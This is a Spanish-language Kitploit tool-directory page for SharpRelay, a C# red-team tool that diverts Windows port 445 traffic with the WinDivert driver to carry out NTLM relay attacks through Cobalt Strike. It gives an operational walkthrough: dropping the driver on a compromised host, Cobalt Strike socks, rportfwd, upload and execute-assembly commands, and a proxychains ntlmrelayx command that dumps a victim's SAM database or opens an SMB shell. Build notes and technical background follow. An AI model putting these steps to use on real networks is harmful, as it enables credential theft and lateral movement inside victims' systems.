Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/pkb1s/sharprelay
Sniffing y Análisis de PaquetesMovimiento LateralPruebas de PenetraciónRed Teaming
GitHubpkb1s/sharprelay

SharpRelay

Herramienta en C# que utiliza el controlador WinDivert para interceptar y redirigir el tráfico del puerto 445 de Windows para ataques de retransmisión NTLM a través de Cobalt Strike, permitiendo movimiento lateral y recolección de credenciales en operaciones de equipo rojo.

Ver Repositorio
17921hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Uso

El único requisito para que este ataque funcione es tener un beacon con privilegios de administrador local o con la capacidad de cargar controladores. El ataque usando SharpRelay funciona de la siguiente manera:

  • Sube el controlador firmado de WinDivert a cualquier carpeta en el host comprometido
  • Ejecuta SharpRelay para modificar el puerto de destino de los paquetes entrantes en el puerto 445 y redirigirlos a otro puerto (ej. 8445)
  • Desde nuestro beacon ejecuta el comando rportfwd de Cobalt Strike para reenviar el puerto 8445 del host comprometido al puerto 445 de nuestro teamserver.
  • Inicia un servidor socks para reenviar el tráfico retransmitido de vuelta a la red víctima
  • Ejecuta ntlmrelayx de Impacket con proxychains para hacer la retransmisión SMB
  • Cuando una víctima intente acceder al puerto 445 del host comprometido, la autenticación NTLM se reenviará a nuestro teamserver y se retransmitirá a otra máquina

Los siguientes comandos de ejemplo se pueden ejecutar desde Cobalt Strike para realizar estas acciones:

root@kitploit:~
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445

Cuando todo lo anterior se ejecute con éxito, debes iniciar tu servidor de retransmisión (configura proxychains con el puerto especificado en los comandos anteriores, ej. 4444):

root@kitploit:~
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support

El comando anterior volcará la base de datos SAM del host víctima. También es posible obtener un shell SMB interactivo, así como ejecutar comandos de forma remota en la víctima.

SharpRelay ha sido probado en Win10 x64.

Instrucciones de compilación

Si deseas compilar la herramienta desde el código fuente, puedes hacer lo siguiente:

  • Clona el repositorio
  • Asegúrate de poder ver todos los paquetes NuGet en la pestaña Instalado abriendo Proyecto->Administrar paquetes NuGet en Visual Studio
  • Compila el proyecto

Las instrucciones anteriores han sido probadas usando Visual Studio 2019.

Detalles técnicos

SharpRelay se basa en el controlador WinDivert. Según su descripción, WinDivert es un controlador de kernel que permite la interceptación y modificación de paquetes en modo usuario. El usuario debe especificar un filtro y cualquier paquete que coincida con este filtro será interceptado y puede ser modificado.

Del archivo ReadMe:

root@kitploit:~
The WinDivert.sys driver is installed below the Windows network stack.  The
following actions occur:

(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted.  The
    PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet.  PROGRAM can
    re-inject the (modified) using a call to WinDivertSend().

Para nosotros, la cosa más importante que WinDivert nos permite hacer es que podemos interceptar el tráfico dirigido a un puerto abierto de Windows y redirigirlo a otro puerto modificando los puertos de origen y destino TCP de cada paquete, recalculando las sumas de verificación TCP y reinyectando los paquetes en la pila de red.

En Windows, el puerto 445 siempre está en ejecución por defecto. No entraré en detalles sobre el proceso que usa el puerto 445 porque esto ya está analizado en la siguiente publicación, así que por favor léelo:

  • https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/

La publicación anterior también contiene otra idea interesante. Usar WinDivert para realizar un ataque de retransmisión SMB a través de Metasploit. Puedes subir algunos DLL y un archivo de controlador al host objetivo junto con divertTCPconn.exe y ejecutarlos. Encontré este ataque increíble, pero lo que no me gustó fue que tenías que subir múltiples DLL en el host objetivo.

Así que mi objetivo era hacer el mismo ataque dejando caer la cantidad mínima de archivos en disco y también ejecutando el ataque a través de Cobalt Strike.

En primer lugar, quería hacer uso de la función execute-assembly de Cobalt Strike, así que decidí escribir mi código usando el framework .NET. Mi pensamiento inicial fue reescribir divertTCPconn en C# y entonces todo funcionaría. Resulta que esto era muy complicado. Afortunadamente, encontré el siguiente paquete NuGet escrito por TechnikEmpire:

  • https://github.com/TechnikEmpire/WinDivertSharp

Usando WinDivertSharp, pude escribir SharpRelay para cargar el controlador creando un servicio y comunicarme con el controlador WinDivert para realizar cualquier modificación de paquetes que necesitara.

Descargar herramienta